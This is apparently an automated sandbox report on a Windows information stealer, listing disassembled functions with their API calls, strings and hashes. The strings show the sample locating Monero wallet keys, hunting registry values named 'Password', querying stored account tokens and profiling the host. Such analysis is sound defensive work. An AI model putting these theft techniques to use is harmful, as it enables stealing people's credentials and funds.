Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 0dffa123f630a39bbf113ea8eb21cc109bfcc34555eabeb7b8980eb61728fa37
Instruction ID: ccf6b6d788596c97c235820239a40b0974d7cb28265568a57147e79dfec51dd6
Opcode Fuzzy Hash: 0dffa123f630a39bbf113ea8eb21cc109bfcc34555eabeb7b8980eb61728fa37
Instruction Fuzzy Hash: 385122F1D5011D97CB55FB60DC92AFD737DAB54300F4041ACB70E66092EE706B8ACAAA

Function 006F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7603
RtlAllocateHeap.NTDLL(00000000), ref: 006F760A
wsprintfA.USER32 ref: 006F7640

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Strings

p, xrefs: 006F764D, 006F7655, 006F761B, 006F7623
C, xrefs: 006F754C
\, xrefs: 006F7560
:, xrefs: 006F755C

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$p
API String ID: 1544550907-3257399971
Opcode ID: cc625369dd53f1b8d43c6b71f39f50f5aeae20b7aaf7253edc3290239e3909c3
Instruction ID: 2925855f40ab17450c07c631f864bd8c84cc802b01657f41ac94ea4323675b0e
Opcode Fuzzy Hash: cc625369dd53f1b8d43c6b71f39f50f5aeae20b7aaf7253edc3290239e3909c3
Instruction Fuzzy Hash: DA4193B1D0424CABDF10DF94DC45BEEBBB9EF08704F100199F609A7280DB786A45CBA5

Function 006E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006E72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 006E733A
Part of subcall function 006E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006E73B1
Part of subcall function 006E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006E740D
Part of subcall function 006E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 006E7452
Part of subcall function 006E72D0: HeapFree.KERNEL32(00000000), ref: 006E7459

lstrcat.KERNEL32(35A57020,007017FC), ref: 006E7606
lstrcat.KERNEL32(35A57020,00000000), ref: 006E7648
lstrcat.KERNEL32(35A57020, : ), ref: 006E765A
lstrcat.KERNEL32(35A57020,00000000), ref: 006E768F
lstrcat.KERNEL32(35A57020,00701804), ref: 006E76A0
lstrcat.KERNEL32(35A57020,00000000), ref: 006E76D3
lstrcat.KERNEL32(35A57020,00701808), ref: 006E76ED
task.LIBCPMTD ref: 006E76FB

Strings

: , xrefs: 006E764E

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 8491d32362c9dad2066fbd5823e3590e49baa904d4a96c4d42300c6f45514593
Instruction ID: 8c08a87d201b302284f71cc494e93c230f9d1b751e6e2c8f0c3dcf4ffd76b0b4
Opcode Fuzzy Hash: 8491d32362c9dad2066fbd5823e3590e49baa904d4a96c4d42300c6f45514593
Instruction Fuzzy Hash: E13178B6915209DFCB58EBA5DC85DFE73BABB44305B10410CF102A7290DB38AE47DB66

Function 006F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0165DAD8,00000000,?,00700E2C,00000000,?,00000000), ref: 006F8130
RtlAllocateHeap.NTDLL(00000000), ref: 006F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006F8158
__aulldiv.LIBCMT ref: 006F8172
__aulldiv.LIBCMT ref: 006F8180
wsprintfA.USER32 ref: 006F81AC

Strings

@, xrefs: 006F814D
%d MB, xrefs: 006F81A3

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: dfe38482436ac69da635e1f65194446bb81e597aac3794aa427961267df4bb28
Instruction ID: 15782529136b54386c32a469f6f5c1efc5efde390f2e4bf0d781be0b53f27488
Opcode Fuzzy Hash: dfe38482436ac69da635e1f65194446bb81e597aac3794aa427961267df4bb28
Instruction Fuzzy Hash: 7921F9B1A44219ABDB10DFD4CC49FAEB7B9EB44B10F104609F705AB280D77869018BA9

Function 006E72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 006E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 006E7452
HeapFree.KERNEL32(00000000), ref: 006E7459
task.LIBCPMTD ref: 006E7555

Strings

Password, xrefs: 006E7401

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: f63237208bf5c67be40410ac1149421aeb66e364cf87ba8b3ecf3d19bb5bd9fd
Instruction ID: a415ef3dd28ad9e0f85de37a2225b71ccb587e00190f06a4c5d988e299caf103
Opcode Fuzzy Hash: f63237208bf5c67be40410ac1149421aeb66e364cf87ba8b3ecf3d19bb5bd9fd
Instruction Fuzzy Hash: 22613AB19152989BDB24DB50DC41BD9B7B9BF44300F0081E9E649A6181EB706FCACFA4

Function 006EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

lstrlen.KERNEL32(00000000), ref: 006EBC9F

Part of subcall function 006F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 006EBCCD
lstrlen.KERNEL32(00000000), ref: 006EBDA5
lstrlen.KERNEL32(00000000), ref: 006EBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 006EBBEB
AccountId, xrefs: 006EBCC4
AccountTokens, xrefs: 006EBB49
AccountTokens, xrefs: 006EBABA

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: a1a97e8df2ab6dd838bf63bd560f35a1b8f90f27ceb00459a0520f603360a7bf
Instruction ID: fca34dba6ac971fd89608557591c4afe20b9f067ee7ca5a49f9cf98c2beb1af0
Opcode Fuzzy Hash: a1a97e8df2ab6dd838bf63bd560f35a1b8f90f27ceb00459a0520f603360a7bf
Instruction Fuzzy Hash: 61B154B291010C9BDB54FBE0CC56EFE737AAF54340F40416CF60AA6191EF746A49CBA6

Function 006E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 006E4FD1
InternetOpenA.WININET(00700DDF,00000000,00000000,00000000,00000000), ref: 006E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 006E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 006E5041
InternetCloseHandle.WININET(?), ref: 006E50B9
InternetCloseHandle.WININET(?), ref: 006E50C6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: b5c8ce7c1baae1d4e7863eb794ec7b8bc16d3df5af7790412df1c98c170bd183
Instruction ID: 11a98c36ec2da0b68ff9597ac7e5c896e82d0865c203c48ff8f66ec7147c59e6
Opcode Fuzzy Hash: b5c8ce7c1baae1d4e7863eb794ec7b8bc16d3df5af7790412df1c98c170bd183
Instruction Fuzzy Hash: 4F3107B5E00218ABDB20CF54DC85BDCB7B9EB48704F1081D9FB09A7281C7746AC69F99

Function 006F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006F8426
wsprintfA.USER32 ref: 006F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 006F847B
RegCloseKey.ADVAPI32(00000000), ref: 006F848C
RegCloseKey.ADVAPI32(00000000), ref: 006F8499

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

RegQueryValueExA.KERNEL32(00000000,0165D8F8,00000000,000F003F,?,00000400), ref: 006F84EC
lstrlen.KERNEL32(?), ref: 006F8501
RegQueryValueExA.KERNEL32(00000000,0165D970,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00700B34), ref: 006F8599
RegCloseKey.KERNEL32(00000000), ref: 006F8608
RegCloseKey.ADVAPI32(00000000), ref: 006F861A

Strings

%s\%s, xrefs: 006F844D

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
